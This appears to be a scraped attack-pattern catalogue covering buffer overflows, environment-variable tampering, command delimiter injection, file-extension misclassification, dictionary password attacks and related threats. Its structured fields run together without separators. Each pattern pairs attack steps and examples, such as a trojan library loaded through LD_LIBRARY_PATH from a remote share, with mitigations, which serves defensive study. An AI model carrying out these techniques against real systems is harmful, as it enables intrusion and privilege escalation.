High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.Use a language or compiler that performs automatic bounds checking.Use secure functions not vulnerable to buffer overflow.If you have to use dangerous functions, make sure that you do boundary checking.Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.Use OS-level preventative functionality. Not a complete solution.Denial of ServiceRun Arbitrary CodeInformation LeakageData ModificationThe user supplied data.The buffer overrun by the attacker.When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code.The most common is remote code execution.120Targeted119Targeted118Targeted74Targeted20Targeted100More DetailedBound checking should be performed when copying data to a buffer.Reluctance to trustDefense in DepthPenetrationHighHighHighAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Buffer ErrorsThis attack targets command-line utilities available in a number of shells. An attacker can leverage a vulnerability found in a command-line utility to escalate privilege to root.1- Attacker identifies command utilities exposed by the target host.2- On the probing stage, the attacker interacts with the command utility and observes the results of its input. The attacker's goal is to uncover a buffer oveflow in the command utility. For instance the attacker may find that input data are not properly validated.3- The attacker finds a buffer overflow vulnerability in the command utility and tries to exploit it. He crafts malicious code and injects it using the command utility. The attacker can at worst execute remote code on the target host.The target host exposes a command-line utility to the user.The command-line utility exposed by the target host has a buffer overflow vulnerability that can be exploited.HighHighInjectionAPI AbuseAttack Example: HPUX passwd
A buffer overflow in the HPUX passwd command allows local users to gain root privileges via a command-line option.</AttackExample>
<AttackExample>Attack Example: Solaris getopt
A buffer overflow in Solaris’s getopt command (found in libc) allows local users to gain root privileges via a long argv[0].
Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS.
High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.The attacker can probe for services available on the target host. Many services may expose a command utility. For instance Telnet is a service which can be invoked through a command shell.Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as buffer overflow.Use a language or compiler that performs automatic bounds checking.Use an abstraction library to abstract away risky APIs. Not a complete solution.Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.Operational: Use OS-level preventative functionality. Not a complete solution.Apply the latest patches to your user exposed services. This may not be a complete solution, specially against zero day attack.Do not unnecessarily expose services.Privilege EscalationRun Arbitrary CodeData ModificationDenial of ServiceInformation LeakageThe user supplied data.The buffer overrun by the attacker.When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code.The most common is remote code execution.120Targeted118Targeted119Targeted74Targeted20Targeted100More Detailed10More DetailedReluctance to trustDefense in DepthLeast PrivilegeBound checking should be performed when copying data to a buffer.PenetrationHighHighHighAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Buffer Errors
This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.1- The attacker tries to find an environment variable which can be overwritten for instance by gathering information about the target host (error pages, software's version number, etc.). 2- The attacker manipulates the environment variable to contain excessive-length content to cause a buffer overflow.3- The attacker potentially leverages the buffer overflow to inject maliciously crafted code in an attempt to execute privileged command on the target environment.The application uses environment variables.An environment variable exposed to the user is vulnerable to a buffer overflow.The vulnerable environment variable uses untrusted data.Tainted data used in the environment variables is not properly validated. For instance boundary checking is not done before copying the input data to a buffer.HighHighInjectionAttack Example: Buffer Overflow in $HOME
A buffer overflow in sccw allows local users to gain root access via the $HOME environmental variable.
CVE-1999-0906Attack Example: Buffer Overflow in TERM
A buffer overflow in the rlogin program involves its consumption of the TERM environmental variable.
CVE-1999-0046
Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS.
High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.While interacting with a system an attacker would typically investigate for environment variables that can be overwritten. The more a user knows about a system the more likely she will find a vulnerable environment variable.On a web environment, the attacker can read the client side code and search for environment variables that can be overwritten.There are tools such as Sharefuzz (http://sharefuzz.sourceforge.net/) which is an environment variable fuzzer for Unix that support loading a shared library. Attackers can use such tools to uncover a buffer overflow in an environment variable.If the application does bound checking, it should fail when the data source is larger than the size of the destination buffer. If the application's code is well written, that failure should triger an alert.Do not expose environment variable to the user.Do not use untrusted data in your environment variables.Use a language or compiler that performs automatic bounds checkingThere are tools such as Sharefuzz (http://sharefuzz.sourceforge.net/) which is an environment variable fuzzer for Unixes that support loading a shared library. You can use Sharefuzz to determine if you are exposing an environment variable vulnerable to buffer overflow.Denial of ServiceRun Arbitrary CodeInformation LeakageData ModificationPrivilege EscalationThe user modifiable environment variable.User supplied data potentially containing malicious code.When the subroutine which uses the environment variable returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code.The most common is remote code execution.120Targeted302Targeted118Targeted119Targeted74Targeted99Targeted20Targeted100More DetailedReluctance to trustBound checking should be performed when copying data to a buffer.PenetrationHighHighHighAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Buffer Errors
An attack of this type exploits a Web server's decision to take action based on filename or file extension. Because different file types are handled by different server processes, misclassification may force the Web server to take unexpected action, or expected actions in an unexpected sequence. This may cause the server to exhaust resources, supply debug or system data to the attacker, or bind an attacker to a remote process.
This type of vulnerability has been found in many widely used servers including IIS, Lotus Domino, and Orion. The attacker's job in this case is straightforward, standard communication protocols and methods are used and are generally appended with malicious information at the tail end of an otherwise legitimate request. The attack paylod varies, but it could be special characters like a period or simply appending a tag that has a special meanning for operations on the server side like .jsp for a java application server. The essence of this attack is that the attacker deceives the server into executing functionality based on the name of the request, i.e. login.jsp, not the contents.
Web server software must rely on file name or file extension for processing.HighMediumInjectionModification of Resources
J2EE application servers are supposed to execute Java Server Pages (JSP). There have been disclosure issues relating to Orion Application Server, where an attacker that appends either a period (.) or space characters to the end of a legitimate Http request, then the server displays the full source code in the attacker's web browser.
http://victim.site/login.jsp.
Since remote data and directory access may be accessed directly from the JSP, this is a potentially very serious issue.
Reference http://www.securityfocus.com/bid/17204/info
Low → To modify file name or file extension
Medium → To use misclassification to force the Web server to disclose configuration information, source, or binary data
Ability to execute HTTP request to Web server
Implementation: Server routines should be determined by content not determined by filename or file extension.
Information LeakagePrivilege Escalation
“Attack Pattern: Cause Web Server Misclassification
A very famous set of classification problems occurs when a Web server examines the last few characters of a filename to determine what kind of file it is. There are many ways to take advantage of these kinds of problems-appending certain strings to filenames, adding dots, and so forth."
[Hoglund and McGraw 04]
Malicious input delivered through standard Web application calls, e.g. HTTP Request.
Varies with instantiation of attack pattern. Malicious payload may alter or append filename or extension to communicate with processes in unexpected order.
Client machine and client network
Enables attacker to force web server to disclose configuration, source, and data
69Secondary77SecondaryReconnaissanceHighLowLowAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
Attackers aware that more data is being fed into a multicast or public information distribution means can 'select' information bound only for another client, even if the distribution means itself forces users to authenticate in order to connect initally.
Doing so allows the attacker to gain access to possibly privileged information, possibly perpetrate other attacks through the distribution means by impersonation.
If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could change its identifier from a less privileged to more so privileged channel or command.
Determine the nature of messages being transported as well as the identifiers to be used as part of the attackIf required, authenticate to the distribution channelIf any particular client's information is available through the transport means simply by selecting a particular identifier, an attacker can simply provide that particular identifier.Attackers with client access connecting to output channels could change their channel identifier and see someone else's (perhaps more privileged) data.Information and client-sensitive (and client-specific) data must be present through a distribution channel available to all users.
Distribution means must code (through channel, message identifiers, or convention) message destination in a manner visible within the distribution means itself (such as a control channel) or in the messages themselves.
HighVery High
A certain B2B interface on a large application codes for messages passed over a MQSeries queue, on a single "Partners" channel. Messages on that channel code for their client destination based on a partner_ID field, held by each message. That field is a simple integer. Attackers having access to that channel, perhaps a particularly nosey partner, can simply choose to store messages of another parnter's ID and read them as they desire. Note that authentication does not prevent a partner from leveraging this attack on other partners. It simply disallows Attackers without partner status from conducting this attack.Low: All the attacker needs to discover is the format of the messages on the channel/distribution means and the particular identifier used within the messages.The Attacker needs the ability to control source code or application configuration responsible for selecting which message/channel id is absorbed from the public distribution means.
Assisted protocol analysis: because the protocol under attack is a public channel, or one in which the attacker likely has authorized access to, they need simply to decode the aspect of channel or message interpretation that codes for message identifiers.
Probing is as simple as changing this value and watching its effect.
Associate some ACL (in the form of a token) with an authenticated user which they provide middleware. The middleware uses this token as part of its channel/message selection for that client, or part of a discerning authorization decision for privileged channels/messages.
The purpose is to architect the system in a way that associates proper authentication/authorization with each channel/message.
Rearchitect system input/output channels as appropriate to distribute self-protecting data. That is, encrypt (or otherwise protect) channels/messages so that only authorized readers can see them.
Information LeakagePrivilege EscalationThis pattern applies in circumstances in which publically accessible distribution means code (through channel, message identifiers, or convention) for client-specific subscription information about messages being distributed. Commonly, this will happen over message-oriented middleware buses, multicast channels, or feeds.
201Targeted306Secondary21SimilarComplete MediationUse Authentication Mechanisms, Where Appropriate, CorrectlyUse Authorization Mechanisms Correctly: this refers to Ambiguity of authentication. Many authorization systems use ambiguous symbols (i.e., principal names) to identify principals allowing circumvention of authorization by using a different, though equivalent, principal name. For example, there are many implementations for restricting remote host access to local services that may allow many proper—but apparently different—names for unique hosts (e.g., fully qualified domain names, shortened names, CNAMEs, IPv4 addresses, IPv6 addresses). PenetrationMediumLowLowClient-Servern-TierSOAAllAllAllThe attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker’s goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.1- The attacker probes the application for information. Which version of the application is running? Are there known environment variables? etc.2- The attacker gains control of an environment variable and ties to find out what process(es) the environment variable controls.3- The attacker modifies the environment variable to abuse the normal flow of processes or to gain access to privileged ressources.An environment variable is accessible to the user.An environment variable used by the application can be tainted with user supplied data.Input data used in an environment variable is not validated properly.The variables encapsulation is not done properly. For instance setting a variable as public in a class makes it visible and an attacker may attemp to manipulate that variable.Very HighVery HighInjectionModification of ResourcesProtocol ManipulationEnvironment variables
Changing the LD_LIBRARY_PATH environment variable in TELNET will cause TELNET to use an alternate (possibly Trojan) version of a function library. The Trojan library must be accessible using the target file system and should include Trojan code that will allow the user to log in with a bad password. This requires that the attacker upload the Trojan library to a specific location on the target.
As an alternative to uploading a Trojan file, some file systems support file paths that include remote addresses, such as \\172.16.2.100\shared_files\trojan_dll.dll.
Path Manipulation (CVE-1999-0073)Low: In a web based scenario, the client controls the data that it submitted to the server. So anybody can try to send malicious data and try to bypass the authentication mechanism.
Medium/High: Some more advanced attacks may require knowledge about protocols and probing technique which help controling a variable. The malicious user may try to understand the authentication mechanism in order to defeat it.An attacker can intentionally modify the client side parameter and monitor how the server behaves in response to that modification. For instance an attacker will look at the cookie data, the URL parameters, the hidden variables in forms, variables used in system calls, etc. If the client uses a program in binary format to connect to the server, disassembler can be used to identify parameter within the binary code, and then the attacker would try to simulate the client application and change some of the parameters sent to the server. For instance the attacker may find that a secret key or a path is hard coded in the binary client application.Environment variables are frequently stored in cleartext configuration files. If the attacker can modify those configuration files, he can control the environment variables. Even a read access can potentially be dangerous since this may give sensitive information to perform this type of attack. Indeed knowing which environment variables the application uses is a prerequisite to this type of attack.The attacker may try to obfuscate its attempts to subvert the target process (such as authentication) by using valid values for the variable she controls. By using valid values the user tries to understand the authentication mechanism. This would be in preparation to a more serious attack.Protect environment variables against unauthorized read and write access.Protect the configuration files which contain environment variables against illegitimate read and write access.Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system.Apply the least privilege principles. If a process has no legitimate reason to read an environment variable do not give that privilege.Run Arbitrary CodePrivilege EscalationDenial of ServiceInformation LeakageThe client controlled parameterThe new value of the client controlled parameter.The activation zone is the server side function where the client controlled parameter is consumed.Consuming an attacker contolled parameter can defeat the normal process of the application.353Targeted285Secondary302Targeted74Targeted15Targeted73Targeted20Secondary200SecondaryCVE-2006-4244SQL-Ledger 2.4.4 through 2.6.17 authenticates users by verifying that the value of the sql-ledger-[username] cookie matches the value of the sessionid parameter, which allows remote attackers to gain access as any logged-in user by setting the cookie and the parameter to the same value.CVE-2006-2734enter.asp in Mini-Nuke 2.3 and earlier makes it easier for remote attackers to conduct password guessing attacks by setting the guvenlik parameter to the same value as the hidden gguvenlik parameter, which bypasses a verification step because the guvenlik parameter is assumed to be immutable by the attacker.CVE-2006-2527Admin/admin.php in phpBazar 2.1.0 and earlier allows remote attackers to bypass the authentication process and gain unauthorized access to the administrative section by setting the action parameter to edit_member and the value parameter to 1.CVE-2006-1505base_maintenance.php in Basic Analysis and Security Engine (BASE) before 1.2.4 (melissa), when running in standalone mode, allows remote attackers to bypass authentication, possibly by setting the standalone parameter to "yes".77More Detailed76More Abstract14Occasionally Precedes10SimilarReluctance to trustAlways perform wise data validation. Do not accept tainted data without validation. Do not simply base authentication on the client controlled parameter.Avoid relying on client side validation only.PenetrationMediumHighLowAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Input ValidationThis type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service. 1. The attacker creates a custom hostile service2. The attacker acquires information about the kind of client attaching to her hostile service to determine if it contains an exploitable buffer overflow vulnerability.3. The attacker intentionally feeds malicious data to the client to exploit the buffer overflow vulnerability that she has uncovered.4. The attacker leverages the exploit to execute arbitrary code or to cause a denial of service.The targeted client software communicates with an external server.The targeted client software has a buffer oveflow vulnerability.HighMediumAPI AbuseInjectionAttack Example: Buffer Overflow in Internet Explorer 4.0 Via EMBED Tag
Authors often use <EMBED> tags in HTML documents. For example
<EMBED TYPE="audio/midi" SRC="/path/file.mid" AUTOSTART="true">
If an attacker supplies an overly long path in the SRC= directive, the mshtml.dll component will suffer a buffer overflow. This is a standard example of content in a Web page being directed to exploit a faulty module in the system. There are potentially thousands of different ways data can propagate into a given system, thus these kinds of attacks will continue to be found in the wild.Low : To achieve a denial of service, an attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector.
High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap requires a more in-depth knowledge and higher skill level.
The server may look like a valid server, but in reality it may be a hostile server aimed at fooling the client software. For instance the server can use honey pots and get the client to download malicious code.Once engaged with the client, the hostile server may attempt to scan the client's host for open ports and potential vulnerabilities in the client software.The hostile server may also attempt to install and run malicious code on the client software. That malicious code can be used to scan the client software for buffer overflow.An example of indicator is when the client software crashes after executing code downloaded from a hostile server.The client software should not install untrusted code from a non authenticated server.The client software should have the latest patches and should be audited for vulnerabilities before being used to communicate with potentially hostile servers.Perform input validation for length of buffer inputs.Use a language or compiler that performs automatic bounds checking.Use an abstraction library to abstract away risky APIs. Not a complete solution.Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.Ensure all buffer uses are consistently bounds-checked.Use OS-level preventative functionality. Not a complete solution.Denial of ServiceRun Arbitrary Code“Backwash Attacks: Leveraging Client-side Buffer Overflows
Nothing is more forward than directly attacking those who are attacking you. In many cases this philosophy is instantiated as a series of denial-of-service attacks launched in either direction. In standard scenarios, you can learn what IP address is being used to attack you, and then you can follow up with an attack of your own. (Be forewarned, however, that the legal ramifications of counterattack are drastic.) If the attacker is dumb enough to have open services, you may in some cases be able to own their system.
This has led some security types to consider a rather insidious tactic—creating hostile network services that look like valid targets. The basic idea builds on the idea of honey pots, but goes one important step further. Because most client software contains buffer overflows and other vulnerabilities, including a capacity to exploit these weaknesses directly when probed is within the realm of possibility.
Not surprisingly, of all the code that gets tested and probed in a security situation, client code is usually ignored. This is one of the reasons that client code ends up with more serious problems than server code. If a vulnerable client attaches to a hostile service, the hostile service can attempt to identify the type and version of the client that is connecting. This is a variety of fingerprinting.
Once the client is properly identified, the hostile server can issue a response that exploits a buffer overflow (or some other security defect) in the client. Typically this kind of attack is not designed simply just to crash the client. Attackers using this technique can inject a virus or backdoor into the original attacker’s computer using their own connection against them.
Obviously, this kind of “backwash attack” is a serious threat to an attacker. Anyone planning to attack arbitrary systems should assume that a backwash attack can and will happen. Any and all client software should be carefully audited before use.”Attacker-supplied data potentially containing malicious code.When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to malicious code.The most common are remote code execution or denial of service.120Targeted353Targeted118Targeted119Targeted74Targeted20Targeted8More DetailedReluctance to TrustDefense in DepthPenetrationHighHighHighClient-ServerOtherAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Buffer Errors
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.Assess Target Runtime EnvironmentIn situations where the runtime environment is not implicitly known, the attacker makes connections to the target system and tries to determine the system's runtime environment. Knowing the environment is vital to choosing the correct delimiters.Port mapping using network connection-based software (e.g., nmap, nessus, etc.)env-ClientServer env-Embedded env-CommProtocol env-Peer2Peer env-WebPort mapping by exploring the operating system (netstat, sockstat, etc.)env-LocalTCP/IP Fingerprintingenv-AllInduce errors to find informative error messagesenv-AllThe target software accepts connections via the network.env-Web env-CommProtocol env-Peer2Peer env-EmbeddedOperating environment (operating system, language, and/or middleware) is correctly identified.Multiple candidate operating environments are suggested.Provide misleading information on TCIP/IP fingerprints (some operating systems can be configured to send signatures that match other operating systems).Provide misleading information at the server level (e.g., Apache, IIS, WebLogic, etc.) to announce a different server software.Some fingerprinting techniques can be detected by operating systems or by network IDS systems because they leave the network connection half-open, or they do not belong to a valid, open connection.Survey the ApplicationThe attacker surveys the target application, possibly as a valid and authenticated userSpidering web sites for all available linksenv-WebInventory all application inputsenv-AllAttacker develops a list of valid inputsenv-Web env-ClientServerThe attacker develops a list of likely command delimiters.Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.Actively monitor the application and either deny or redirect requests from origins that appear to be automated.Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).Attempt delimiters in inputsThe attacker systematically attempts variations of delimiters on known inputs, observing the application's response each time.Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)env-CommProtocol env-Web env-Peer2Peer env-ClientServerInject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)env-WebEnter command delimiters directly in input fields.env-Embedded env-Local env-ClientServerAttack step 2 is successful.env-AllOne or more command delimiters for the platform provokes an unexpected response from the software, which can be varied by the attacker based on the input.Use malicious command delimitersThe attacker uses combinations of payload and carefully placed command delimiters to attack the software.The software performs as expected by the attacker.
Software's input validation or filtering must not detect and block presence of additional malicious command.
HighHighInjection
By appending special characters, such as a semicolon or other commands that are executed by the target process, the attacker is able to execute a wide variety of malicious commands in the target process space, utilizing the target's inherited permissions, against any resource the host has access to. The possibilities are vast including injection attacks against RDBMS (SQL Injection), directory servers (LDAP Injection), XML documents (XPath and XQuery Injection), and command line shells. In many injection attacks, the results are converted back to strings and displayed to the client process such as a web browser without tripping any security alarms, so the network firewall does not log any out of the ordinary behavior.
LDAP servers house critical identity assets such as user, profile, password, and group information that is used to authenticate and authorize users. An attacker that can query the directory at will and execute custom commands against the directory server is literally working with the keys to the kingdom in many enterprises. When user, organizational units, and other directory objects are queried by building the query string directly from user input with no validation, or other conversion, then the attacker has the ability to use any LDAP commands to query, filter, list, and crawl against the LDAP server directly in the same manner as SQL injection gives the ability to the attacker to run SQL commands on the database.
Medium → The attacker has to identify injection vector, identify the specific commands, and optionally collect the output, i.e. from an interactive session.
Ability to communicate synchronously or asynchronously with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.
Design: Perform whitelist validation against a positive specification for command length, type, and parameters.
Design: Limit program privileges, so if commands circumvent program input validation or filter routines then commands do not running under a privileged account
Implementation: Perform input validation for all remote content.
Implementation: Use type conversions such as JDBC prepared statements.
Run Arbitrary CodeInformation Leakage
“Attack Pattern: Command Delimiters
"Using the semicolon or other off-nominal characters, multiple commands can be strung together. Unsuspecting target programs will execute all the commands."
[Hoglund and McGraw 04]
Malicious input delivered through appending delimiters to standard input
Command(s) appended to valid parameters to enable attacker to execute commands on host
Client machine and client network
Enables attacker to execute server side code with any commands that the program owner has privileges to.
146Targeted77Targeted184Targeted78Targeted185Targeted93Targeted140Targeted157Targeted138Targeted154Targeted6More DetailedPenetrationHighHighHighAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as:
1. Total Break - Finding the secret key
2. Gobal Deduction - Finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key.
3. Information Deduction - Gaining some information about plaintexts or ciphertexts that was not previously known
4. Distinguishing Algorithm - The attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits
The goal of the attacker performing cryptanalysis will depend on the specific needs of the attacker in a given attack context. In most cases, if cryptanalysis is successful at all, an attacker will not be able to go past being able to deduce some information about the plaintext (goal 3). However, that may be sufficient for an attacker, depending on the context.
An attacker discovers a weakness in the cryptographic algorithm or a weakness in how it was applied to a particular chunk of plaintext.
An attacker leverages the discovered weakness to decrypt, partially decrypt or infer some information about the contents of the encrypted message. All of that is done without knowing the secret key.
The target software utilizes some sort fo cryptographic algorithm.
An underlying weaknesses exists either in the cryptographic algorithm used or in the way that it was applied to a particular chunk of plaintext.
The encryption algorithm is known to the attacker.
An attacker has access to the ciphertext.
Very HighVery LowAnalysisBrute Force
A very easy to understand (but totally inapplicable to modern cryptographic ciphers) example is a cryptanalysis technique called frequency analysis that can be successfully applied to the very basic classic encryption algorithms that performed monoalphabetic substitution replacing each letter in the plaintext with its predetermined mapping letter from the same alphabet. This was considered an improvement over a more basic technique that would simply shift all of the letters of the plaintext by some constant number of positions and replace the original letters with the new letter with the resultant alphabet position. While monoalphabetic substitution ciphers are resilient to blind brute force, they can be broken easily with nothing more than a pen and paper. Frequency analysis cryptanalysis uses the fact that natural language is not random and monoalphabetic substitution does not hide the statistical properties of the natural language. So if the letter "E" in an English language occurs with a certain known frequency (about 12.7%), whatever "E" was substituted with to get to the ciphertext, will occur with the similar frequency. Having this frequency information allows the cryptanalyst to quickly determine the substitutions and decipher the ciphertext. Frequency analysis techniques are not applicable to modern ciphers as they are all resilient to it (unless this is a very bad case of a homegrown encryption algorithm). This example is just here to illustrate a rudimentary example of cryptanalysis.
High - Cryptanalysis generally requires a very significant level of understanding of mathematics and computation.
Computing resource requirements will vary based on the complexity of a given cryptanalysis technique. Access to the encryption/decryption routines of the algorithm is also required.
Use proven cryptographic algorithms with recommended key sizes.
Ensure that the algorithms are used properly. That means:
1. Not rolling out your own crypto; Use proven algorithms and implementations.
2. Choosing initialization vectors with sufficiently random numbers
3. Generating key material using good sources of randomness and avoiding known weak keys
4. Using proven protocols and their implementations.
5. Picking the most appropriate cryptographic algorithm for your usage context and data
Information LeakageData ModificationPrivilege Escalation327Targeted20More DetailedOccasionally FollowsReconnaissanceHighHighLowAllAllAllAllWikipedia (Cryptanalysis): www.wikipedia.org
An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern.
Determine application's/system's password policyDetermine the password policies of the target application/system. Determine minimum and maximum allowed password lengths.env-AllDetermine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).env-AllDetermine account lockout policy (a strict account lockout policy will prevent brute force attacks).env-AllPasswords are used in the application/systemenv-AllPasswords are not used in the application/system.env-AllSelect dictionaries
Pick the dictionaries to be used in the attack (e.g. different languages, specific terminology, etc.)
Select dictionary based on particular users' preferred languages.env-AllSelect dictionary based on the application/system's supported languages.env-AllDetermine username(s) to targetDetermine username(s) whose passwords to crack.Obtain username(s) by sniffing network packets.env-CommProtocol env-Peer2Peer env-ClientServerObtain username(s) by querying application/system (e.g. if upon a failed login attempt, the system indicates whether the entered username was valid or not)env-AllObtain usernames from filesystem (e.g. list of directories in C:\Documents and Settings\ in Windows, and list in /etc/passwd in UNIX-like systems)env-Embedded env-LocalRemote application or system provides no indication regarding whether a given username is valid or not.env-ClientServer env-Peer2Peer env-Web env-CommProtocolAt least one valid username found.Presence of any valid usernames could not be established.Do not reveal information regarding validity of particular usernames to users.Lock out accounts whose usernames are suspected to have been compromised.Use dictionary to crack passwords.
Use a password cracking tool that will leverage the dictionary to feed passwords to the system and see if they work.
Try all words in the dictionary, as well as common misspellings of the words as passwords for the chosen username(s).env-AllTry common combinations of words in the dictionary, as well as common misspellings of the combinations as passwords for the chosen username(s).env-AllApplication/system does not use password authentication.env-AllAttacker determines correct password for a user ID and obtains access to application or system.Attacker is unable to determine correct password for a user ID and obtain access to application or system.Large number of authentication failures in logs.Enforce strict account lockout policies.Enforce strong passwords (having sufficient length and containing mix of lower case and upper case letters, numbers, and special characters)
The system uses one factor password based authentication.
The system does not have a sound password policy that is being enforced.
The system does not implement an effective password throttling mechanism.
HighMediumBrute Force
A system user selects the word "treacherous" as their passwords believing that it would be very difficult to guess. The password-based dictionary attack is used to crack this password and gain access to the account.
The Cisco LEAP challenge/response authentication mechanism uses passwords in a way that is susceptible to dictionary attacks, which makes it easier for remote attackers to gain privileges via brute force password guessing attacks.
Cisco LEAP is a mutual authentication algorithm that supports dynamic derivation of session keys. With Cisco LEAP, mutual authentication relies on a shared secret, the user's logon password—which is known by the client and the network, and is used to respond to challenges between the user and the Remote Authentication Dial-In User Service (RADIUS) server.
Methods exist for someone to write a tool to launch an offline dictionary attack on password-based authentications that leverage Microsoft MS-CHAP, such as Cisco LEAP. The tool leverages large password lists
to efficiently launch offline dictionary attacks against LEAP user accounts, collected through passive sniffing or active techniques.
CVE-2003-1096
Low: A variety of password cracking tools and dictionaries are available to launch this type of an attack.
A machine with sufficient resources for the job (e.g. CPU, RAM, HD). Applicable dictionaries are required. Also a password cracking tool or a custom script that leverages the dictionary database to launch the attack.
Many invalid login attempts are coming from the same machine (same IP address) or for the same log in name. The login attempts use passwords that are dictionary words.
Employ IP spoofing to make it seem like login attempts are coming from different machines.
Create a strong password policy and ensure that your system enforces this policy.
Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-02.
Privilege Escalation521Targeted262Targeted263Targeted49More AbstractOccasionally Follows70More DetailedOccasionally Precedes55Occasionally FollowsPenetrationHighMediumLowAllAllAllAll
An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
System's configuration must allow an attacker to directly access executable files or upload files to execute. This means that any access control system that is supposed to mediate communications between the subkect and the object is set incorrectly or assumes a benign environment.
Very HighHighModification of ResourcesAPI Abuse
Consider a directory on a web server with the following permissions
drwxrwxrwx 5 admin public 170 Nov 17 01:08 webroot
This could allow an attacker to both execute and upload and execute programs' on the web server. This one vulnerability can be exploited by a threat to probe the system and identify additional vulnerabilities to exploit.
Low → to identify and execute against an overprivileged system interface
Ability to communicate synchronously or asynchronously with server that publishes an overprivileged directory, program, or interface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.
Design: Enforce principle of least privilege
Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.
Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.
Run Arbitrary CodeData ModificationInformation LeakagePrivilege Escalation
“Attack Pattern: Direct Access to Executable Files
A privileged program is directly accessible. The program performs operations on behalf of the attacker that allow privilege escalation or shell access. For Web servers, this is often a fatal issue. If a server runs external executables provided by a user (or even simply named by a user), the user can cause the system to behave in unanticipated ways. This may be accomplished by passing in command-line options or by spinning an interactive session. A problem like this is almost always as bad as giving complete shell access to an attacker.
The most common targets for this kind of attack are Web servers. The attack is so easy that attackers have been known to use Internet search engines to find potential targets. The Altavista search engine is a great resource for attackers looking for such targets. Google works too."
[Hoglund and McGraw 04]
Payload delivered through standard communication protocols.
Command(s) executed directly on host
Client machine and client network
Enables attacker to execute server side code with any commands that the program owner has privileges to.
